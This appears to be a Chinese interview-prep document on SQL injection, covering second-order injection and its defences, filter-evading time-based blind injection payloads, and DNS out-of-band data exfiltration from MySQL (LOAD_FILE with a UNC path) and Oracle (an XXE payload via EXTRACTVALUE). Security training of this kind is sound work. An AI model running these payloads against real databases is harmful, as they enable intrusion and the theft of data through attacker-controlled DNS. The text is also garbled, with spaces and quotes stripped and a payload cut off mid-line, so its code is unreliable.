网络安全面试SQL注入相关面试题.docVIP

SQL注入相关面试题

请解释二次注入攻击流程，并说明如何防御此类攻击攻击流程:恶意数据经安全存储后，在其他业务场景被取出并拼接SQL语句。例如用户注册时提交admin#，在密码修改功能中触发UPDATEusersSETpassword=hackedWHEREusername=admin#防御方案:对数据库读取数据二次校验、全链路参数化查询、禁用动态SQL拼接

2.当目标过滤SLEEPO)和BENCHMARKO)时，如何构造可靠时间注Payload?

使用重型联表查询:AND(SELECTCOUNT(*)FROMinformationschema.tablesA,B,C)

条件性复杂运算:ANDIF(ASCII(SUBSTR(@@version,1,1))50,EXP(1000),1)

DNS外带延时:ANDLOADFILE(CONCAT(\\,(SELECTMID(@@version,1,180)),.\test))

3.如何通过Oracle数据库实现DNS外带数据?写出完整Payload

SELECTEXTRACTVALUE(xmltype(?xmlversion=1.0?

!DOCTYPErOOt[!ENTITY%remoteSYSTEMhttp://|(SELECTSYS_CONTEXT(USERENV,CURRENT

原理:利用XM